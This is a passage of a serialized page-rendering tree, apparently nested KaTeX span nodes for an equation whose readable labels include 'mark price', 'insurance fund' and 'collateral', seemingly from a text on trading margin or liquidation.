"className":159234,"style":107737},[2434],[159236],{"type":20,"tag":315,"props":159237,"children":159239},{"style":159238},"top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;",[159240,159244],{"type":20,"tag":315,"props":159241,"children":159243},{"className":159242,"style":2444},[2443],[],{"type":20,"tag":315,"props":159245,"children":159247},{"className":159246},[2449,2450,2451,2452],[159248],{"type":20,"tag":315,"props":159249,"children":159251},{"className":159250},[2403,19992,2452],[159252],{"type":26,"value":54656},{"type":20,"tag":315,"props":159254,"children":159256},{"className":159255},[20149],[159257],{"type":26,"value":20152},{"type":20,"tag":315,"props":159259,"children":159261},{"className":159260},[2429],[159262],{"type":20,"tag":315,"props":159263,"children":159265},{"className":159264,"style":91388},[2434],[159266],{"type":20,"tag":315,"props":159267,"children":159268},{},[],{"type":20,"tag":315,"props":159270,"children":159272},{"style":159271},"top:-12.8707em;",[159273,159277],{"type":20,"tag":315,"props":159274,"children":159276},{"className":159275,"style":159205},[2443],[],{"type":20,"tag":315,"props":159278,"children":159280},{"className":159279},[2403],[159281],{"type":20,"tag":315,"props":159282,"children":159284},{"className":159283,"style":93325},[2403,19992],[159285],{"type":26,"value":93359},{"type":20,"tag":315,"props":159287,"children":159289},{"style":159288},"top:-10.8392em;",[159290,159294],{"type":20,"tag":315,"props":159291,"children":159293},{"className":159292,"style":159205},[2443],[],{"type":20,"tag":315,"props":159295,"children":159297},{"className":159296},[2403],[159298],{"type":20,"tag":315,"props":159299,"children":159301},{"className":159300},[2403],[159302,159307],{"type":20,"tag":315,"props":159303,"children":159305},{"className":159304},[2403,19992],[159306],{"type":26,"value":1528},{"type":20,"tag":315,"props":159308,"children":159310},{"className":159309},[2419],[159311],{"type":20,"tag":315,"props":159312,"children":159314},{"className":159313},[2424,20046],[159315,159344],{"type":20,"tag":315,"props":159316,"children":159318},{"className":159317},[2429],[159319,159339],{"type":20,"tag":315,"props":159320,"children":159322},{"className":159321,"style":91834},[2434],[159323],{"type":20,"tag":315,"props":159324,"children":159325},{"style":91361},[159326,159330],{"type":20,"tag":315,"props":159327,"children":159329},{"className":159328,"style":2444},[2443],[],{"type":20,"tag":315,"props":159331,"children":159333},{"className":159332},[2449,2450,2451,2452],[159334],{"type":20,"tag":315,"props":159335,"children":159337},{"className":159336},[2403,19992,2452],[159338],{"type":26,"value":2122},{"type":20,"tag":315,"props":159340,"children":159342},{"className":159341},[20149],[159343],{"type":26,"value":20152},{"type":20,"tag":315,"props":159345,"children":159347},{"className":159346},[2429],[159348],{"type":20,"tag":315,"props":159349,"children":159351},{"className":159350,"style":91388},[2434],[159352],{"type":20,"tag":315,"props":159353,"children":159354},{},[],{"type":20,"tag":315,"props":159356,"children":159358},{"style":159357},"top:-8.8188em;",[159359,159363],{"type":20,"tag":315,"props":159360,"children":159362},{"className":159361,"style":159205},[2443],[],{"type":20,"tag":315,"props":159364,"children":159366},{"className":159365},[2403],[159367],{"type":20,"tag":315,"props":159368,"children":159370},{"className":159369},[2403],[159371,159377],{"type":20,"tag":315,"props":159372,"children":159374},{"className":159373,"style":91791},[2403,19992],[159375],{"type":26,"value":159376},"π",{"type":20,"tag":315,"props":159378,"children":159380},{"className":159379},[2419],[159381],{"type":20,"tag":315,"props":159382,"children":159384},{"className":159383},[2424,20046],[159385,159414],{"type":20,"tag":315,"props":159386,"children":159388},{"className":159387},[2429],[159389,159409],{"type":20,"tag":315,"props":159390,"children":159392},{"className":159391,"style":91834},[2434],[159393],{"type":20,"tag":315,"props":159394,"children":159395},{"style":91838},[159396,159400],{"type":20,"tag":315,"props":159397,"children":159399},{"className":159398,"style":2444},[2443],[],{"type":20,"tag":315,"props":159401,"children":159403},{"className":159402},[2449,2450,2451,2452],[159404],{"type":20,"tag":315,"props":159405,"children":159407},{"className":159406},[2403,19992,2452],[159408],{"type":26,"value":2122},{"type":20,"tag":315,"props":159410,"children":159412},{"className":159411},[20149],[159413],{"type":26,"value":20152},{"type":20,"tag":315,"props":159415,"children":159417},{"className":159416},[2429],[159418],{"type":20,"tag":315,"props":159419,"children":159421},{"className":159420,"style":91388},[2434],[159422],{"type":20,"tag":315,"props":159423,"children":159424},{},[],{"type":20,"tag":315,"props":159426,"children":159428},{"style":159427},"top:-7.3188em;",[159429,159433],{"type":20,"tag":315,"props":159430,"children":159432},{"className":159431,"style":159205},[2443],[],{"type":20,"tag":315,"props":159434,"children":159436},{"className":159435},[2403],[159437],{"type":20,"tag":315,"props":159438,"children":159440},{"className":159439},[2403],[159441,159446],{"type":20,"tag":315,"props":159442,"children":159444},{"className":159443},[2403,19992],[159445],{"type":26,"value":49706},{"type":20,"tag":315,"props":159447,"children":159449},{"className":159448},[2419],[159450],{"type":20,"tag":315,"props":159451,"children":159453},{"className":159452},[2424,20046],[159454,159483],{"type":20,"tag":315,"props":159455,"children":159457},{"className":159456},[2429],[159458,159478],{"type":20,"tag":315,"props":159459,"children":159461},{"className":159460,"style":91834},[2434],[159462],{"type":20,"tag":315,"props":159463,"children":159464},{"style":91361},[159465,159469],{"type":20,"tag":315,"props":159466,"children":159468},{"className":159467,"style":2444},[2443],[],{"type":20,"tag":315,"props":159470,"children":159472},{"className":159471},[2449,2450,2451,2452],[159473],{"type":20,"tag":315,"props":159474,"children":159476},{"className":159475},[2403,19992,2452],[159477],{"type":26,"value":2122},{"type":20,"tag":315,"props":159479,"children":159481},{"className":159480},[20149],[159482],{"type":26,"value":20152},{"type":20,"tag":315,"props":159484,"children":159486},{"className":159485},[2429],[159487],{"type":20,"tag":315,"props":159488,"children":159490},{"className":159489,"style":91388},[2434],[159491],{"type":20,"tag":315,"props":159492,"children":159493},{},[],{"type":20,"tag":315,"props":159495,"children":159497},{"style":159496},"top:-5.8188em;",[159498,159502],{"type":20,"tag":315,"props":159499,"children":159501},{"className":159500,"style":159205},[2443],[],{"type":20,"tag":315,"props":159503,"children":159505},{"className":159504},[2403],[159506],{"type":20,"tag":315,"props":159507,"children":159509},{"className":159508},[2403],[159510,159515],{"type":20,"tag":315,"props":159511,"children":159513},{"className":159512,"style":120585},[2403,19992],[159514],{"type":26,"value":47823},{"type":20,"tag":315,"props":159516,"children":159518},{"className":159517},[2419],[159519],{"type":20,"tag":315,"props":159520,"children":159522},{"className":159521},[2424,20046],[159523,159553],{"type":20,"tag":315,"props":159524,"children":159526},{"className":159525},[2429],[159527,159548],{"type":20,"tag":315,"props":159528,"children":159530},{"className":159529,"style":91834},[2434],[159531],{"type":20,"tag":315,"props":159532,"children":159534},{"style":159533},"top:-2.55em;margin-left:-0.0269em;margin-right:0.05em;",[159535,159539],{"type":20,"tag":315,"props":159536,"children":159538},{"className":159537,"style":2444},[2443],[],{"type":20,"tag":315,"props":159540,"children":159542},{"className":159541},[2449,2450,2451,2452],[159543],{"type":20,"tag":315,"props":159544,"children":159546},{"className":159545},[2403,19992,2452],[159547],{"type":26,"value":2122},{"type":20,"tag":315,"props":159549,"children":159551},{"className":159550},[20149],[159552],{"type":26,"value":20152},{"type":20,"tag":315,"props":159554,"children":159556},{"className":159555},[2429],[159557],{"type":20,"tag":315,"props":159558,"children":159560},{"className":159559,"style":91388},[2434],[159561],{"type":20,"tag":315,"props":159562,"children":159563},{},[],{"type":20,"tag":315,"props":159565,"children":159567},{"style":159566},"top:-4.3188em;",[159568,159572],{"type":20,"tag":315,"props":159569,"children":159571},{"className":159570,"style":159205},[2443],[],{"type":20,"tag":315,"props":159573,"children":159575},{"className":159574},[2403],[159576],{"type":20,"tag":315,"props":159577,"children":159579},{"className":159578},[2403],[159580,159585],{"type":20,"tag":315,"props":159581,"children":159583},{"className":159582},[2403,19992],[159584],{"type":26,"value":17680},{"type":20,"tag":315,"props":159586,"children":159588},{"className":159587},[2419],[159589],{"type":20,"tag":315,"props":159590,"children":159592},{"className":159591},[2424,20046],[159593,159622],{"type":20,"tag":315,"props":159594,"children":159596},{"className":159595},[2429],[159597,159617],{"type":20,"tag":315,"props":159598,"children":159600},{"className":159599,"style":91834},[2434],[159601],{"type":20,"tag":315,"props":159602,"children":159603},{"style":91361},[159604,159608],{"type":20,"tag":315,"props":159605,"children":159607},{"className":159606,"style":2444},[2443],[],{"type":20,"tag":315,"props":159609,"children":159611},{"className":159610},[2449,2450,2451,2452],[159612],{"type":20,"tag":315,"props":159613,"children":159615},{"className":159614},[2403,19992,2452],[159616],{"type":26,"value":2122},{"type":20,"tag":315,"props":159618,"children":159620},{"className":159619},[20149],[159621],{"type":26,"value":20152},{"type":20,"tag":315,"props":159623,"children":159625},{"className":159624},[2429],[159626],{"type":20,"tag":315,"props":159627,"children":159629},{"className":159628,"style":91388},[2434],[159630],{"type":20,"tag":315,"props":159631,"children":159632},{},[],{"type":20,"tag":315,"props":159634,"children":159636},{"style":159635},"top:-2.5512em;",[159637,159641],{"type":20,"tag":315,"props":159638,"children":159640},{"className":159639,"style":159205},[2443],[],{"type":20,"tag":315,"props":159642,"children":159644},{"className":159643},[2403],[159645],{"type":20,"tag":315,"props":159646,"children":159648},{"className":159647},[2403],[159649,159654],{"type":20,"tag":315,"props":159650,"children":159652},{"className":159651},[2403,19992],[159653],{"type":26,"value":82603},{"type":20,"tag":315,"props":159655,"children":159657},{"className":159656},[2419],[159658],{"type":20,"tag":315,"props":159659,"children":159661},{"className":159660},[2424,20046],[159662,159691],{"type":20,"tag":315,"props":159663,"children":159665},{"className":159664},[2429],[159666,159686],{"type":20,"tag":315,"props":159667,"children":159669},{"className":159668,"style":91834},[2434],[159670],{"type":20,"tag":315,"props":159671,"children":159672},{"style":91361},[159673,159677],{"type":20,"tag":315,"props":159674,"children":159676},{"className":159675,"style":2444},[2443],[],{"type":20,"tag":315,"props":159678,"children":159680},{"className":159679},[2449,2450,2451,2452],[159681],{"type":20,"tag":315,"props":159682,"children":159684},{"className":159683},[2403,19992,2452],[159685],{"type":26,"value":2122},{"type":20,"tag":315,"props":159687,"children":159689},{"className":159688},[20149],[159690],{"type":26,"value":20152},{"type":20,"tag":315,"props":159692,"children":159694},{"className":159693},[2429],[159695],{"type":20,"tag":315,"props":159696,"children":159698},{"className":159697,"style":91388},[2434],[159699],{"type":20,"tag":315,"props":159700,"children":159701},{},[],{"type":20,"tag":315,"props":159703,"children":159705},{"style":159704},"top:-0.3652em;",[159706,159710],{"type":20,"tag":315,"props":159707,"children":159709},{"className":159708,"style":159205},[2443],[],{"type":20,"tag":315,"props":159711,"children":159713},{"className":159712},[2403],[159714],{"type":20,"tag":315,"props":159715,"children":159717},{"className":159716},[2403],[159718,159723],{"type":20,"tag":315,"props":159719,"children":159721},{"className":159720,"style":91539},[2403,19992],[159722],{"type":26,"value":91542},{"type":20,"tag":315,"props":159724,"children":159726},{"className":159725},[2419],[159727],{"type":20,"tag":315,"props":159728,"children":159730},{"className":159729},[2424,20046],[159731,159760],{"type":20,"tag":315,"props":159732,"children":159734},{"className":159733},[2429],[159735,159755],{"type":20,"tag":315,"props":159736,"children":159738},{"className":159737,"style":140860},[2434],[159739],{"type":20,"tag":315,"props":159740,"children":159741},{"style":108734},[159742,159746],{"type":20,"tag":315,"props":159743,"children":159745},{"className":159744,"style":2444},[2443],[],{"type":20,"tag":315,"props":159747,"children":159749},{"className":159748},[2449,2450,2451,2452],[159750],{"type":20,"tag":315,"props":159751,"children":159753},{"className":159752,"style":19993},[2403,19992,2452],[159754],{"type":26,"value":4381},{"type":20,"tag":315,"props":159756,"children":159758},{"className":159757},[20149],[159759],{"type":26,"value":20152},{"type":20,"tag":315,"props":159761,"children":159763},{"className":159762},[2429],[159764],{"type":20,"tag":315,"props":159765,"children":159767},{"className":159766,"style":91388},[2434],[159768],{"type":20,"tag":315,"props":159769,"children":159770},{},[],{"type":20,"tag":315,"props":159772,"children":159774},{"style":159773},"top:2.2624em;",[159775,159779],{"type":20,"tag":315,"props":159776,"children":159778},{"className":159777,"style":159205},[2443],[],{"type":20,"tag":315,"props":159780,"children":159782},{"className":159781},[2403],[159783],{"type":20,"tag":315,"props":159784,"children":159786},{"className":159785},[2403],[159787,159793],{"type":20,"tag":315,"props":159788,"children":159790},{"className":159789,"style":91305},[2403,19992],[159791],{"type":26,"value":159792},"D",{"type":20,"tag":315,"props":159794,"children":159796},{"className":159795},[2419],[159797],{"type":20,"tag":315,"props":159798,"children":159800},{"className":159799},[2424,20046],[159801,159830],{"type":20,"tag":315,"props":159802,"children":159804},{"className":159803},[2429],[159805,159825],{"type":20,"tag":315,"props":159806,"children":159808},{"className":159807,"style":140860},[2434],[159809],{"type":20,"tag":315,"props":159810,"children":159811},{"style":108304},[159812,159816],{"type":20,"tag":315,"props":159813,"children":159815},{"className":159814,"style":2444},[2443],[],{"type":20,"tag":315,"props":159817,"children":159819},{"className":159818},[2449,2450,2451,2452],[159820],{"type":20,"tag":315,"props":159821,"children":159823},{"className":159822,"style":19993},[2403,19992,2452],[159824],{"type":26,"value":4381},{"type":20,"tag":315,"props":159826,"children":159828},{"className":159827},[20149],[159829],{"type":26,"value":20152},{"type":20,"tag":315,"props":159831,"children":159833},{"className":159832},[2429],[159834],{"type":20,"tag":315,"props":159835,"children":159837},{"className":159836,"style":91388},[2434],[159838],{"type":20,"tag":315,"props":159839,"children":159840},{},[],{"type":20,"tag":315,"props":159842,"children":159844},{"style":159843},"top:4.8901em;",[159845,159849],{"type":20,"tag":315,"props":159846,"children":159848},{"className":159847,"style":159205},[2443],[],{"type":20,"tag":315,"props":159850,"children":159852},{"className":159851},[2403],[159853],{"type":20,"tag":315,"props":159854,"children":159856},{"className":159855},[2403],[159857,159863],{"type":20,"tag":315,"props":159858,"children":159860},{"className":159859,"style":93313},[2403,19992],[159861],{"type":26,"value":159862},"U",{"type":20,"tag":315,"props":159864,"children":159866},{"className":159865},[2419],[159867],{"type":20,"tag":315,"props":159868,"children":159870},{"className":159869},[2424,20046],[159871,159901],{"type":20,"tag":315,"props":159872,"children":159874},{"className":159873},[2429],[159875,159896],{"type":20,"tag":315,"props":159876,"children":159878},{"className":159877,"style":140860},[2434],[159879],{"type":20,"tag":315,"props":159880,"children":159882},{"style":159881},"top:-2.55em;margin-left:-0.109em;margin-right:0.05em;",[159883,159887],{"type":20,"tag":315,"props":159884,"children":159886},{"className":159885,"style":2444},[2443],[],{"type":20,"tag":315,"props":159888,"children":159890},{"className":159889},[2449,2450,2451,2452],[159891],{"type":20,"tag":315,"props":159892,"children":159894},{"className":159893,"style":19993},[2403,19992,2452],[159895],{"type":26,"value":4381},{"type":20,"tag":315,"props":159897,"children":159899},{"className":159898},[20149],[159900],{"type":26,"value":20152},{"type":20,"tag":315,"props":159902,"children":159904},{"className":159903},[2429],[159905],{"type":20,"tag":315,"props":159906,"children":159908},{"className":159907,"style":91388},[2434],[159909],{"type":20,"tag":315,"props":159910,"children":159911},{},[],{"type":20,"tag":315,"props":159913,"children":159915},{"style":159914},"top:7.3078em;",[159916,159920],{"type":20,"tag":315,"props":159917,"children":159919},{"className":159918,"style":159205},[2443],[],{"type":20,"tag":315,"props":159921,"children":159923},{"className":159922},[2403],[159924],{"type":20,"tag":315,"props":159925,"children":159927},{"className":159926},[2403],[159928,159933],{"type":20,"tag":315,"props":159929,"children":159931},{"className":159930,"style":121082},[2403,19992],[159932],{"type":26,"value":121085},{"type":20,"tag":315,"props":159934,"children":159936},{"className":159935},[2419],[159937],{"type":20,"tag":315,"props":159938,"children":159940},{"className":159939},[2424,20046],[159941,159972],{"type":20,"tag":315,"props":159942,"children":159944},{"className":159943},[2429],[159945,159967],{"type":20,"tag":315,"props":159946,"children":159949},{"className":159947,"style":159948},[2434],"height:0.2806em;",[159950],{"type":20,"tag":315,"props":159951,"children":159953},{"style":159952},"top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;",[159954,159958],{"type":20,"tag":315,"props":159955,"children":159957},{"className":159956,"style":2444},[2443],[],{"type":20,"tag":315,"props":159959,"children":159961},{"className":159960},[2449,2450,2451,2452],[159962],{"type":20,"tag":315,"props":159963,"children":159965},{"className":159964},[2403,19992,2452],[159966],{"type":26,"value":20134},{"type":20,"tag":315,"props":159968,"children":159970},{"className":159969},[20149],[159971],{"type":26,"value":20152},{"type":20,"tag":315,"props":159973,"children":159975},{"className":159974},[2429],[159976],{"type":20,"tag":315,"props":159977,"children":159979},{"className":159978,"style":91388},[2434],[159980],{"type":20,"tag":315,"props":159981,"children":159982},{},[],{"type":20,"tag":315,"props":159984,"children":159986},{"className":159985},[20149],[159987],{"type":26,"value":20152},{"type":20,"tag":315,"props":159989,"children":159991},{"className":159990},[2429],[159992],{"type":20,"tag":315,"props":159993,"children":159996},{"className":159994,"style":159995},[2434],"height:11.3392em;",[159997],{"type":20,"tag":315,"props":159998,"children":159999},{},[],{"type":20,"tag":315,"props":160001,"children":160003},{"className":160002},[158119],[160004],{"type":20,"tag":315,"props":160005,"children":160007},{"className":160006},[2424,20046],[160008,161710],{"type":20,"tag":315,"props":160009,"children":160011},{"className":160010},[2429],[160012,161705],{"type":20,"tag":315,"props":160013,"children":160015},{"className":160014,"style":159196},[2434],[160016,160054,160092,160239,160474,160629,160734,160777,160998,161157,161347,161499],{"type":20,"tag":315,"props":160017,"children":160018},{"style":159200},[160019,160023],{"type":20,"tag":315,"props":160020,"children":160022},{"className":160021,"style":159205},[2443],[],{"type":20,"tag":315,"props":160024,"children":160026},{"className":160025},[2403],[160027,160031,160035,160040,160044],{"type":20,"tag":315,"props":160028,"children":160030},{"className":160029},[2403],[],{"type":20,"tag":315,"props":160032,"children":160034},{"className":160033,"style":2581},[2483],[],{"type":20,"tag":315,"props":160036,"children":160038},{"className":160037},[2586],[160039],{"type":26,"value":20011},{"type":20,"tag":315,"props":160041,"children":160043},{"className":160042,"style":2581},[2483],[],{"type":20,"tag":315,"props":160045,"children":160047},{"className":160046},[2403,26],[160048],{"type":20,"tag":315,"props":160049,"children":160051},{"className":160050},[2403],[160052],{"type":26,"value":160053},"mark price",{"type":20,"tag":315,"props":160055,"children":160056},{"style":159271},[160057,160061],{"type":20,"tag":315,"props":160058,"children":160060},{"className":160059,"style":159205},[2443],[],{"type":20,"tag":315,"props":160062,"children":160064},{"className":160063},[2403],[160065,160069,160073,160078,160082],{"type":20,"tag":315,"props":160066,"children":160068},{"className":160067},[2403],[],{"type":20,"tag":315,"props":160070,"children":160072},{"className":160071,"style":2581},[2483],[],{"type":20,"tag":315,"props":160074,"children":160076},{"className":160075},[2586],[160077],{"type":26,"value":20011},{"type":20,"tag":315,"props":160079,"children":160081},{"className":160080,"style":2581},[2483],[],{"type":20,"tag":315,"props":160083,"children":160085},{"className":160084},[2403,26],[160086],{"type":20,"tag":315,"props":160087,"children":160089},{"className":160088},[2403],[160090],{"type":26,"value":160091},"insurance fund",{"type":20,"tag":315,"props":160093,"children":160094},{"style":159288},[160095,160099],{"type":20,"tag":315,"props":160096,"children":160098},{"className":160097,"style":159205},[2443],[],{"type":20,"tag":315,"props":160100,"children":160102},{"className":160101},[2403],[160103,160107,160111,160116,160120,160130,160134,160139,160143],{"type":20,"tag":315,"props":160104,"children":160106},{"className":160105},[2403],[],{"type":20,"tag":315,"props":160108,"children":160110},{"className":160109,"style":2581},[2483],[],{"type":20,"tag":315,"props":160112,"children":160114},{"className":160113},[2586],[160115],{"type":26,"value":20011},{"type":20,"tag":315,"props":160117,"children":160119},{"className":160118,"style":2581},[2483],[],{"type":20,"tag":315,"props":160121,"children":160123},{"className":160122},[2403,26],[160124],{"type":20,"tag":315,"props":160125,"children":160127},{"className":160126},[2403],[160128],{"type":26,"value":160129},"collateral",{"type":20,"tag":315,"props":160131,"children":160133},{"className":160132,"style":2581},[2483],[],{"type":20,"tag":315,"props":160135,"children":160137},{"className":160136},[2586],[160138],{"type":26,"value":337},{"type":20,"tag":315,"props":160140,"children":160142},{"className":160141,"style":2581},[2483],[],{"type":20,"tag":315,"props":160144,"children":160146},{"className":160145},[2403],[160147,160151,160235],{"type":20,"tag":315,"props":160148,"children":160150},{"className":160149},[20121,111823],[],{"type":20,"tag":315,"props":160152,"children":160154},{"className":160153},[111828],[160155],{"type":20,"tag":315,"props":160156,"children":160158},{"className":160157},[2424,20046],[160159,160224],{"type":20,"tag":315,"props":160160,"children":160162},{"className":160161},[2429],[160163,160219],{"type":20,"tag":315,"props":160164,"children":160167},{"className":160165,"style":160166},[2434],"height:1.3714em;",[160168,160188,160199],{"type":20,"tag":315,"props":160169,"children":160170},{"style":157414},[160171,160175],{"type":20,"tag":315,"props":160172,"children":160174},{"className":160173,"style":110476},[2443],[],{"type":20,"tag":315,"props":160176,"children":160178},{"className":160177},[2403],[160179],{"type":20,"tag":315,"props":160180,"children":160182},{"className":160181},[2403,26],[160183],{"type":20,"tag":315,"props":160184,"children":160186},{"className":160185},[2403],[160187],{"type":26,"value":157451},{"type":20,"tag":315,"props":160189,"children":160190},{"style":111878},[160191,160195],{"type":20,"tag":315,"props":160192,"children":160194},{"className":160193,"style":110476},[2443],[],{"type":20,"tag":315,"props":160196,"children":160198},{"className":160197,"style":111888},[111887],[],{"type":20,"tag":315,"props":160200,"children":160201},{"style":157465},[160202,160206],{"type":20,"tag":315,"props":160203,"children":160205},{"className":160204,"style":110476},[2443],[],{"type":20,"tag":315,"props":160207,"children":160209},{"className":160208},[2403],[160210],{"type":20,"tag":315,"props":160211,"children":160213},{"className":160212},[2403,26],[160214],{"type":20,"tag":315,"props":160215,"children":160217},{"className":160216},[2403],[160218],{"type":26,"value":157490},{"type":20,"tag":315,"props":160220,"children":160222},{"className":160221},[20149],[160223],{"type":26,"value":20152},{"type":20,"tag":315,"props":160225,"children":160227},{"className":160226},[2429],[160228],{"type":20,"tag":315,"props":160229,"children":160231},{"className":160230,"style":157508},[2434],[160232],{"type":20,"tag":315,"props":160233,"children":160234},{},[],{"type":20,"tag":315,"props":160236,"children":160238},{"className":160237},[20143,111823],[],{"type":20,"tag":315,"props":160240,"children":160241},{"style":159357},[160242,160246],{"type":20,"tag":315,"props":160243,"children":160245},{"className":160244,"style":159205},[2443],[],{"type":20,"tag":315,"props":160247,"children":160249},{"className":160248},[2403],[160250,160254,160258,160263,160267,160324,160328,160333,160337,160342,160399,160403,160408,160412,160469],{"type":20,"tag":315,"props":160251,"children":160253},{"className":160252},[2403],[],{"type":20,"tag":315,"props":160255,"children":160257},{"className":160256,"style":2581},[2483],[],{"type":20,"tag":315,"props":160259,"children":160261},{"className":160260},[2586],[160262],{"type":26,"value":337},{"type":20,"tag":315,"props":160264,"children":160266},{"className":160265,"style":2581},[2483],[],{"type":20,"tag":315,"props":160268,"children":160270},{"className":160269},[2403],[160271,160276],{"type":20,"tag":315,"props":160272,"children":160274},{"className":160273},[2403,19992],[160275],{"type":26,"value":9052},{"type":20,"tag":315,"props":160277,"children":160279},{"className":160278},[2419],[160280],{"type":20,"tag":315,"props":160281,"children":160283},{"className":160282},[2424,20046],[160284,160313],{"type":20,"tag":315,"props":160285,"children":160287},{"className":160286},[2429],[160288,160308],{"type":20,"tag":315,"props":160289,"children":160291},{"className":160290,"style":91834},[2434],[160292],{"type":20,"tag":315,"props":160293,"children":160294},{"style":91361},[160295,160299],{"type":20,"tag":315,"props":160296,"children":160298},{"className":160297,"style":2444},[2443],[],{"type":20,"tag":315,"props":160300,"children":160302},{"className":160301},[2449,2450,2451,2452],[160303],{"type":20,"tag":315,"props":160304,"children":160306},{"className":160305},[2403,19992,2452],[160307],{"type":26,"value":2122},{"type":20,"tag":315,"props":160309,"children":160311},{"className":160310},[20149],[160312],{"type":26,"value":20152},{"type":20,"tag":315,"props":160314,"children":160316},{"className":160315},[2429],[160317],{"type":20,"tag":315,"props":160318,"children":160320},{"className":160319,"style":91388},[2434],[160321],{"type":20,"tag":315,"props":160322,"children":160323},{},[],{"type":20,"tag":315,"props":160325,"children":160327},{"className":160326,"style":2484},[2483],[],{"type":20,"tag":315,"props":160329,"children":160331},{"className":160330},[2489],[160332],{"type":26,"value":109567},{"type":20,"tag":315,"props":160334,"children":160336},{"className":160335,"style":2484},[2483],[],{"type":20,"tag":315,"props":160338,"children":160340},{"className":160339},[20121],[160341],{"type":26,"value":1049},{"type":20,"tag":315,"props":160343,"children":160345},{"className":160344},[2403],[160346,160351],{"type":20,"tag":315,"props":160347,"children":160349},{"className":160348,"style":19993},[2403,19992],[160350],{"type":26,"value":19996},{"type":20,"tag":315,"props":160352,"children":160354},{"className":160353},[2419],[160355],{"type":20,"tag":315,"props":160356,"children":160358},{"className":160357},[2424,20046],[160359,160388],{"type":20,"tag":315,"props":160360,"children":160362},{"className":160361},[2429],[160363,160383],{"type":20,"tag":315,"props":160364,"children":160366},{"className":160365,"style":107737},[2434],[160367],{"type":20,"tag":315,"props":160368,"children":160369},{"style":159238},[160370,160374],{"type":20,"tag":315,"props":160371,"children":160373},{"className":160372,"style":2444},[2443],[],{"type":20,"tag":315,"props":160375,"children":160377},{"className":160376},[2449,2450,2451,2452],[160378],{"type":20,"tag":315,"props":160379,"children":160381},{"className":160380},[2403,19992,2452],[160382],{"type":26,"value":54656},{"type":20,"tag":315,"props":160384,"children":160386},{"className":160385},[20149],[160387],{"type":26,"value":20152},{"type":20,"tag":315,"props":160389,"children":160391},{"className":160390},[2429],[160392],{"type":20,"tag":315,"props":160393,"children":160395},{"className":160394,"style":91388},[2434],[160396],{"type":20,"tag":315,"props":160397,"children":160398},{},[],{"type":20,"tag":315,"props":160400,"children":160402},{"className":160401,"style":2484},[2483],[],{"type":20,"tag":315,"props":160404,"children":160406},{"className":160405},[2489],[160407],{"type":26,"value":2463},{"type":20,"tag":315,"props":160409,"children":160411},{"className":160410,"style":2484},[2483],[],{"type":20,"tag":315,"props":160413,"children":160415},{"className":160414},[2403],[160416,160421],{"type":20,"tag":315,"props":160417,"children":160419},{"className":160418},[2403,19992],[160420],{"type":26,"value":29},{"type":20,"tag":315,"props":160422,"children":160424},{"className":160423},[2419],[160425],{"type":20,"tag":315,"props":160426,"children":160428},{"className":160427},[2424,20046],[160429,160458],{"type":20,"tag":315,"props":160430,"children":160432},{"className":160431},[2429],[160433,160453],{"type":20,"tag":315,"props":160434,"children":160436},{"className":160435,"style":91834},[2434],[160437],{"type":20,"tag":315,"props":160438,"children":160439},{"style":91361},[160440,160444],{"type":20,"tag":315,"props":160441,"children":160443},{"className":160442,"style":2444},[2443],[],{"type":20,"tag":315,"props":160445,"children":160447},{"className":160446},[2449,2450,2451,2452],[160448],{"type":20,"tag":315,"props":160449,"children":160451},{"className":160450},[2403,19992,2452],[160452],{"type":26,"value":2122},{"type":20,"tag":315,"props":160454,"children":160456},{"className":160455},[20149],[160457],{"type":26,"value":20152},{"type":20,"tag":315,"props":160459,"children":160461},{"className":160460},[2429],[160462],{"type":20,"tag":315,"props":160463,"children":160465},{"className":160464,"style":91388},[2434],[160466],{"type":20,"tag":315,"props":160467,"children":160468},{},[],{"type":20,"tag":315,"props":160470,"children":160472},{"className":160471},[20143],[160473],{"type":26,"value":1509},{"type":20,"tag":315,"props":160475,"children":160476},{"style":159427},[160477,160481],{"type":20,"tag":315,"props":160478,"children":160480},{"className":160479,"style":159205},[2443],[],{"type":20,"tag":315,"props":160482,"children":160484},{"className":160483},[2403],[160485,160489,160493,160498,160502,160559,160563,160568,160572],{"type":20,"tag":315,"props":160486,"children":160488},{"className":160487},[2403],[],{"type":20,"tag":315,"props":160490,"children":160492},{"className":160491,"style":2581},[2483],[],{"type":20,"tag":315,"props":160494,"children":160496},{"className":160495},[2586],[160497],{"type":26,"value":337},{"type":20,"tag":315,"props":160499,"children":160501},{"className":160500,"style":2581},[2483],[],{"type":20,"tag":315,"props":160503,"children":160505},{"className":160504},[2403],[160506,160511],{"type":20,"tag":315,"props":160507,"children":160509},{"className":160508},[2403,19992],[160510],{"type":26,"value":1528},{"type":20,"tag":315,"props":160512,"children":160514},{"className":160513},[2419],[160515],{"type":20,"tag":315,"props":160516,"children":160518},{"className":160517},[2424,20046],[160519,160548],{"type":20,"tag":315,"props":160520,"children":160522},{"className":160521},[2429],[160523,160543],{"type":20,"tag":315,"props":160524,"children":160526},{"className":160525,"style":91834},[2434],[160527],{"type":20,"tag":315,"props":160528,"children":160529},{"style":91361},[160530,160534],{"type":20,"tag":315,"props":160531,"children":160533},{"className":160532,"style":2444},[2443],[],{"type":20,"tag":315,"props":160535,"children":160537},{"className":160536},[2449,2450,2451,2452],[160538],{"type":20,"tag":315,"props":160539,"children":160541},{"className":160540},[2403,19992,2452],[160542],{"type":26,"value":2122},{"type":20,"tag":315,"props":160544,"children":160546},{"className":160545},[20149],[160547],{"type":26,"value":20152},{"type":20,"tag":315,"props":160549,"children":160551},{"className":160550},[2429],[160552],{"type":20,"tag":315,"props":160553,"children":160555},{"className":160554,"style":91388},[2434],[160556],{"type":20,"tag":315,"props":160557,"children":160558},{},[],{"type":20,"tag":315,"props":160560,"children":160562},{"className":160561,"style":2484},[2483],[],{"type":20,"tag":315,"props":160564,"children":160566},{"className":160565},[2489],[160567],{"type":26,"value":817},{"type":20,"tag":315,"props":160569,"children":160571},{"className":160570,"style":2484},[2483],[],{"type":20,"tag":315,"props":160573,"children":160575},{"className":160574},[2403],[160576,160581],{"type":20,"tag":315,"props":160577,"children":160579},{"className":160578,"style":91791},[2403,19992],[160580],{"type":26,"value":159376},{"type":20,"tag":315,"props":160582,"children":160584},{"className":160583},[2419],[160585],{"type":20,"tag":315,"props":160586,"children":160588},{"className":160587},[2424,20046],[160589,160618],{"type":20,"tag":315,"props":160590,"children":160592},{"className":160591},[2429],[160593,160613],{"type":20,"tag":315,"props":160594,"children":160596},{"className":160595,"style":91834},[2434],[160597],{"type":20,"tag":315,"props":160598,"children":160599},{"style":91838},[160600,160604],{"type":20,"tag":315,"props":160601,"children":160603},{"className":160602,"style":2444},[2443],[],{"type":20,"tag":315,"props":160605,"children":160607},{"c